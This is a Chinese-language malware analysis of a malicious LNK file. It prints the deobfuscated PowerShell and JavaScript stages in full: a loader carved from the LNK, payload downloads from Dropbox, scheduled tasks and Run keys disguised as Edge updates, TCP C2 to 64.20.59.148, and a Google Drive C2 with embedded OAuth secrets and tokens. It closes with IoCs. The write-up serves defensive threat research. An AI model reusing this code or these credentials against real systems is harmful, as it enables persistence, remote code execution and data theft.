流程

初探 Lnk
样本为一个 LNK 文件,用 LnkParse3 (https://pypi.org/project/LnkParse3/) 提取 LNK 文件信息

LNK 目标中包含 PowerShell 命令
..\..\..\Windows\System32\mshta.exe javascript:a="pow"+"ershell -ep bypa"+"ss ";g="c:\\pro"+"gramdata\\";m=" -Encoding Byte;sc ";p="$w ([byte[]]($f "+"| select -Skip 0x08e6)) -Force";s="a=new Ac"+"tiveXObject('WSc"+"ript.Shell');a.Run(c,0,true);close();";c=a+"-c $t=0x19cf;$k = Get-ChildItem *.lnk | where-object {$_.length -eq $t} | Select-Object -ExpandProperty Name;if($k.co"+"unt -eq 0){$k=G"+"et-ChildItem $env:TEMP\\*\\*.l"+"nk | where-object{$_.length -eq $t};};$w='"+g+"e.ps1';$f=gc $k"+m+p+m+g+"419 0;"+a+"-f $w;";eval(s);
将以上代码格式化处理后
c = "powershell -ep bypass -c " +
"$t=0x19cf; " +
"$k = Get-ChildItem *.lnk | Where-Object { $_.length -eq $t } | " +
"Select-Object -ExpandProperty Name; " +
"if($k.count -eq 0) { " +
" $k = Get-ChildItem $env:TEMP\\*\\*.lnk | " +
" Where-Object { $_.length -eq $t }; " +
"}; " +
"$w = 'c:\\programdata\\e.ps1'; " +
"$f = Get-Content $k -Encoding Byte; " +
"sc $w ([byte[]]($f | select -Skip 0x08e6)) -Force -Encoding Byte; " +
"sc c:\\programdata\\419 0; " +
"powershell -ep bypass -f $w;";
new ActiveXObject('WScript.Shell').Run(c, 0, true);
此段代码会去获取当下的所有 lnk 文件,并判断其大小是否为 0x19cf,如果是则跳过当前 lnk 文件前 0x08e6 个字节,将剩余字节保存在 C:\ProgramData\e.ps1,最后执行 e.ps1;如果不是则去用户的 Temp 目录下获取;

e.ps1
在 e.ps1 中,会依次进行三次 base64 解密后执行
第一次
第一次执行后会删除 e.ps1 脚本

$sn="Env S930";
Remove-Item 'c:\\programdata\\e.ps1';
第二次

代码已格式化处理
$e1 = {
$downloadUrl = "https://www.dropbox.com/scl/fi/7i9i2zkin97yg35thso17/Sm.dat?rlkey=qcktrfjnh301pxogya88prrsg&st=7h79kt6x&dl=1"
try {
$zipPath = "c:\\programdata\\gs.zip"
Invoke-WebRequest -Uri $downloadUrl -OutFile $zipPath
$extractPath = "C:\\Programdata"
Expand-Archive -Path $zipPath -DestinationPath $extractPath
$taskCommand = 'schtasks /create /sc minute /mo 2 /tn AGMicrosoftEdgeUpdateExpanding[7923498737] /tr "wscript //e:javascript //b C:\\ProgramData\\26545.tmp" /f'
cmd /c $taskCommand
$regCommand = 'reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v GUpdate2 /t REG_SZ /d "c:\\windows\\system32\\wscript.exe //b //e:javascript C:\\ProgramData\\26545.tmp" /f'
cmd /c $regCommand
del $zipPath
} catch {}
while ($true) {
$execCommand = "Invoke-Expression (Get-Content C:\\ProgramData\\AN9385.tmp)"
powershell -ep bypass -c $execCommand
Sleep(120)
}
}
将执行脚本赋给了 $e1 变量,这将移到第三次中异步执行
第三次
代码已格式化处理
$rp = [runspacefactory]::CreateRunspacePool(1, 5)
$rp.Open()
$p1 = [powershell]::Create()
$p1.RunspacePool = $rp
$p1.AddScript($e1)
$JobObj = New-Object -TypeName PSObject -Property @{
Runspace = $p1.BeginInvoke()
PowerShell = $p1
}
$Usbbc = @('64.20.59.148', '8855', '6699')
try {
$r = $Usbbc[0]
$p = $Usbbc[1]
$tc = New-Object System.Net.Sockets.TcpClient($r, $p)
$strm = $tc.GetStream()
$q = New-Object System.IO.StreamReader($strm)
$z = ''
while ($strm.DataAvailable -or $q.Peek() -ne -1) {
$t1 = $q.ReadLine()
$z += $t1
}
if ($z.Length -ne 0) {
$b = [Convert]::FromBase64String($z)
$t = 'c:\programdata\k.zip'
Set-Content -Path $t -Value $b -Encoding Byte
Expand-Archive -Path $t -DestinationPath 'C:\Programdata'
del $t
$regCommand = 'reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v SUpdate /t REG_SZ /d "c:\windows\system32\wscript.exe //b //e:javascript C:\ProgramData\N9371.js" /f'
cmd /c $regCommand
$taskCommand = 'schtasks /create /sc minute /mo 2 /tn AMicrosoftEdgeUpdateExpanding[3829710973] /tr "wscript //e:javascript //b C:\ProgramData\38243.tmp" /f'
cmd /c $taskCommand
$strm.Close()
}
} catch {}
while ($true) {
$r = $Usbbc[0]
$p2 = $Usbbc[2]
$tc2 = New-Object System.Net.Sockets.TcpClient($r, $p2)
$st2 = $tc2.GetStream()
$r2 = New-Object System.IO.StreamReader($st2)
$c = ''
while ($st2.DataAvailable -or $r2.Peek() -ne -1) {
$t2 = $r2.ReadLine()
$c += $t2
}
if ($c.Length -ne 0) {
$TSbbcnv1 = "c:\programdata\tmps2.ps1"
$c | Out-File $TSbbcnv1
powershell -ep bypass -f $TSbbcnv1
del $TSbbcnv1
}
Sleep(20)
}
开始处异步执行第二次解密出的脚本,从第二次解密出的脚本中可看出,会去远程下载一个 Sm.dat 文件,远程地址 https[:]//www.dropbox[.]com/scl/fi/7i9i2zkin97yg35thso17/Sm.dat?rlkey=qcktrfjnh301pxogya88prrsg&st=7h79kt6x&dl=1,下载到本地 ProgramData 目录下并重命名为 gs.zip,再进行解压 (26545.tmp 和 AN9385.tmp)。

随后创建计划任务
cmd /c schtasks /create /sc minute /mo 2 /tn AGMicrosoftEdgeUpdateExpanding[7923498737] /tr "wscript //e:javascript //b C:\\ProgramData\\26545.tmp" /f
伪装成 Microsoft Edge 更新的任务名 (AGMicrosoftEdgeUpdateExpanding[7923498737]) 试图绕过检测,每 2 分钟静默强制执行一次 26545.tmp (一个混淆过的 JS 文件),随后添加注册表启动项
cmd /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v GUpdate2 /t REG_SZ /d "c:\\windows\\system32\\wscript.exe //b //e:javascript C:\\ProgramData\\26545.tmp" /f
两项操作均是为了实现持久化。最后在一个循环体不断执行 AN9385.tmp。
第二次的脚本执行完后,尝试去连接 64.20.59.148:8855,读取返回的流数据并将其 base64 解码后保存到本地 ProgramData 目录下并重命名为 k.zip (N9371.js 和 38243.tmp,目前已无法获取) 并解压后再删除原压缩文档,完成后再创建注册表启动项
cmd /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v SUpdate /t REG_SZ /d "c:\windows\system32\wscript.exe //b //e:javascript C:\ProgramData\N9371.js" /f
和计划任务
cmd /c schtasks /create /sc minute /mo 2 /tn AMicrosoftEdgeUpdateExpanding[3829710973] /tr "wscript //e:javascript //b C:\ProgramData\38243.tmp" /f
以上两个操作也均是为了实现持久化。
最后创建一个循环持续与 64.20.59.148:6699 进行通信,读取流数据并将返回的数据保存到 ProgramData 目录下并将其命令为 tmps2.ps1,随即执行,执行完后删除。
gs.zip
gs.zip 包含 2 个文件,26545.tmp 和 AN9385.tmp。
26545.tmp
一个混淆过的 JS 文件
(function (dsges, fjykjts) {
var se3gdrhd = fhfjtfj;
var agent = dsges();
var n = agent.length;
while (!![]) {
try {
k = parseInt(se3gdrhd(474)) * parseInt(se3gdrhd(479)) / 5;
if (k === fjykjts) {
break;
} else {
for (i = 0; i < n; i++) {
str = agent[i];
var match = str.match(/\d+/g);
var m = match[0].length + 1;
var tmp = str.substring(m);
var len = tmp.length;
if (len <= 2)
return;
var k = tmp.substring(2) + tmp.substring(0, 2);
t = k.charAt(0);
tt = k.charAt(len - 1);
tmp = tt + k.substring(1, len - 1) + t;
var res = match[0] + 'X' + tmp;
agent[i] = res;
}
agent['unshift'](agent['pop']());
}
} catch (_0x49299e) {
}
}
}(jnfeg, 2332340));
function fhfjtfj(_Index, _DummyVar2) {
var sf4 = jnfeg();
return fhfjtfj = function (tm, _0x85aeda) {
n = sf4.length;
indx = tm - 262;
indx %= n;
var _0x679cae = sf4[indx];
return _0x679cae;
}, fhfjtfj(_Index, _DummyVar2);
}
(function (_Used2Func) {
var str2Array = _Used2Func();
var p = str2Array.length;
res = '';
for (h = 0; h < n; h++) {
s = str2Array[h];
var mt = s.match(/\d+/g);
res += s.substring(mt[0].length + 1);
}
eval(res);
}(jnfeg));
function jnfeg() {
var d4gergrd = [
'6011X"irtpS.ehllc""+',
'9382XvraS mLivsi)v;\t',
'0104X""+worehs+"e"= "p',
'4654X-peb py+"a"esll ',
'8496Xm+"m"na df$sn -co',
'8264X\\rPgoar+"m"=D\'C:\\',
'1385XA+"N"3958t.amta\\\\',
'1164X$ d =eG-t"Cp+\';',
'1162Xtne tf$;nI "non',
'9988X"ko-exE"p"+vr"+',
'7130X+i"no$ ;d;"e\tss"',
'8420Xb2b3w.ruR(nYSefb',
'9909Xivs,e0 ;)c}Lamvi',
'3297X)}thce(rr{',
'8258X esmf"=su nv3ar',
'3881X su e38 ffn9uri',
'9018X 8g 2 gg9own fhe',
'8665Xtyr\t{av reYjfw4";',
'1727X23w=rn weA bcbb',
'5446XeOXjbce(tW"tSiv'
];
jnfeg = function () {
return d4gergrd;
};
return jnfeg();
}
将 eval(res) 替换成 console.log(res) 后输出去混淆后的内容,优化后如下
var sefm = 'usn 39ri use 83f nfun fhe g82 g 9gwo jw4';
try {
var Yefbbb2w3r = new ActiveXObject('WScript.Shell');
var SLmviisve = 'powershell -ep bypass -command $fn=\'C:\\ProgramData\\AN9385.tmp\';$d = Get-Content $fn; Invoke-Expression $d;';
Yefbbb2w3r.Run(SLmviisve, 0);
} catch (err) {
}
26545.tmp 的作用是去执行 AN9385.tmp。
AN9385.tmp
AN9385.tmp 的大体内容格式与 e.ps1 相同

一共有 6 段待解密的字串,每解密一段执行一段

第 1 段,定义了一些变量
$objName = "eee"
$folderId = "1tS7GiwJ2b1yAQWAOCl60yWaeCBfsl0B0";
$clientId = "65054017293-b7gcmfo6tdon0fim2flf3he6gufftioo.apps.googleusercontent.com";
$secret = "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";
$redirectURI = "urn:ietf:wg:oauth:2.0:oob";
$refreshToken = "1//0498NBJfxa-YgCgYIARAAGAQSNwF-L9IrsNiWDmwbh1BSAG1JUy8uJXEXzukc0micoDRLwYOmnDf76TTnxiHd2_QkdCIXTcARLXs";
第 2 段,以 POST 方式向 https[:]//www.googleapis[.]com/oauth2/v4/token 发出请求获取 accesstoken
$refreshTokenParams = @{
client_id=$clientId;
client_secret=$secret;
refresh_token=$refreshToken;
grant_type='refresh_token';
}
$refreshedToken = Invoke-WebRequest -Uri "https://www.googleapis.com/oauth2/v4/token" -Method POST -Body $refreshTokenParams | ConvertFrom-Json
$accesstoken = $refreshedToken.access_token
$dnHeader = @{
"Authorization" = "Bearer $accessToken"
}

第 3 段,定义一个上传文件函数,上传文件名 eee__yyyy_MM_dd__HH:mm:ss_result.txt,txt 文件内容经过了 base64 加密,文件内容来源于 $path,最后以 POST 方式向 https[:]//www.googleapis[.]com/upload/drive/v3/files?uploadType=multipart&supportsTeamDrives=false 进行上传
Function UploadFile($path, $accesstoken)
{
$SourceFile = $path
$sourceItem = Get-Item $sourceFile
$sourceBase64 = [Convert]::ToBase64String([IO.File]::ReadAllBytes($sourceItem.FullName))
$sourceMime = [System.Web.MimeMapping]::GetMimeMapping($sourceItem.FullName)
$supportsTeamDrives = 'false'
$tm = [System.DateTime]::Now;
$curTime = $tm.ToString("yyyy_MM_dd__HH:mm:ss");
$uploadMetadata = @{
originalFilename = $sourceItem.Name
name = $objName+ "__"+$curTime + "_result.txt"
description = $sourceItem.VersionInfo.FileDescription
parents = @($folderId)
}
$uploadBody = @"
--boundary
Content-Type: application/json; charset=UTF-8
$($uploadMetadata | ConvertTo-Json)
--boundary
Content-Transfer-Encoding: base64
Content-Type: $sourceMime
$sourceBase64
--boundary--
"@
$uploadHeaders = @{
"Authorization" = "Bearer $accesstoken"
"Content-Type" = 'multipart/related; boundary=boundary'
"Content-Length" = $uploadBody.Length
}
$response = Invoke-RestMethod -Uri "https://www.googleapis.com/upload/drive/v3/files?uploadType=multipart&supportsTeamDrives=$supportsTeamDrives" -Method Post -Headers $uploadHeaders -Body $uploadBody
}
第 4 段,定义一个上传日志函数,上传文件名 eee__xxxxxxxxxxxx_Result_log.txt,文件内容为当前时间的 base64 加密内容,以 POST 方式向 https[:]//www.googleapis[.]com/upload/drive/v3/files?uploadType=multipart&supportsTeamDrives=false 提交上传文件
Function UploadLog($accesstoken)
{
$tm = [System.DateTime]::Now;
$curTime = $tm.ToString("yyyy_MM_dd__HH:mm:ss");
$BytesToConvert = [Text.Encoding]::Unicode.GetBytes($curTime);
$EncodedText = [Convert]::ToBase64String($BytesToConvert);
$sourceBase64 = $EncodedText
$supportsTeamDrives = 'false'
$uploadMetadata = @{
name = $objName+ "__"+$curTime + "_Result_log.txt"
parents = @($folderId)
}
$uploadBody = @"
--boundary
Content-Type: application/json; charset=UTF-8
$($uploadMetadata | ConvertTo-Json)
--boundary
Content-Transfer-Encoding: base64
$sourceBase64
--boundary--
"@
$uploadHeaders = @{
"Authorization" = "Bearer $accesstoken"
"Content-Type" = 'multipart/related; boundary=boundary'
"Content-Length" = $uploadBody.Length
}
$response = Invoke-RestMethod -Uri "https://www.googleapis.com/upload/drive/v3/files?uploadType=multipart&supportsTeamDrives=$supportsTeamDrives" -Method Post -Headers $uploadHeaders -Body $uploadBody
return ;
}
第 5 段,调用 UploadLog 函数将获取到的 accesstoken 作为参数进行上传
UploadLog($accesstoken)
$q = "q=name+contains+'$objName'+and+not+fullText+contains+'result'+and+mimeType+!=+'application/vnd.google-apps.folder'"
$ur = "https://www.googleapis.com/drive/v3/files" + "?" + $q
$response = Invoke-RestMethod -Uri $ur -Headers $dnHeader
$files = $response.files
$cout = $files.Count
随后向 https[:]//www.googleapis[.]com/drive/v3/files?q=name+contains+”+and+not+fullText+contains+’result’+and+mimeType+!=+’application/vnd.google-apps.folder’ 发出请求,响应内容存储在 $response 变量中

第 6 段
for($i=0; $i -lt $cout;$i++){
$n = $files[$i].name;
$id = $files[$i].id;
$mimeType = $files[$i].mimeType;
if($mimeType -eq "text/plain")
{
$downloadUrl = "https://drive.google.com/uc?export=download&id="+$id;
$localFilePath = "c:\\programdata\\"+$n;
try{
$c = new-object System.Net.WebClient;
$res=$c.DownloadString($downloadUrl);
$delUrl = "https://www.googleapis.com/drive/v3/files/" + $id
Invoke-RestMethod -Uri $delUrl -Method DELETE -Headers $dnHeader
$tmpz = "c:\\programdata\\tmps4.ps1";
$res | Out-File $tmpz;
$Output = try {
powershell -ep bypass -f $tmpz 2>&1 | Out-String;
} catch {
$_ | Out-String;
}
$tm = [System.DateTime]::Now;
$s = $tm.ToFileTimeUtc().ToString()
$imgName= $s;
$outfile = "c:\programdata\" + $imgName
$Output | Out-File -FilePath $outfile
UploadFile -Path $outfile -accesstoken $accesstoken;
remove-item $outfile
remove-item $tmpz
}
catch{
remove-item $outfile
remove-item $tmpz
}
}
}
依次远程访问以下链接,将文件下载到本地 ProgramData 文件夹中并重命名为 tmps4.ps1
- https[:]//drive.google.com/uc?export=download&id=1E3Bk8mv0JT3wJH6RReq1zGZeeD6goDMr
- https[:]//drive.google.com/uc?export=download&id=17znAFvAjRtB9c9-zzQkpcKh0VAOH7Aeb
- https[:]//drive.google.com/uc?export=download&id=18UM8MLzVsUuno7wZkq5uVqTvLKx5_bVR
- https[:]//drive.google.com/uc?export=download&id=10n7VSqFiuKGZBThE7Y1uvK-Qhc9K4c3b
将执行 tmps4.ps1 脚本后的结果存在以当前时间命令的文件中,最后调用 UploadFile 函数将此文件以 POST 方式向 https[:]//www.googleapis[.]com/upload/drive/v3/files?uploadType=multipart&supportsTeamDrives=false 进行上传。由于无法获取 tmps4.ps1 内容,所以无法得知此 ps1 做了什么,我猜估计是在窃取本地一些信息进行回传。
IoCs
URL
- https[:]//www.dropbox[.]com/scl/fi/7i9i2zkin97yg35thso17/Sm.dat?rlkey=qcktrfjnh301pxogya88prrsg&st=7h79kt6x&dl=1
- 65054017293-b7gcmfo6tdon0fim2flf3he6gufftioo.apps.googleusercontent.com
C2
- 64[.]20[.]59[.]148:8855
- 64[.]20[.]59[.]148:6699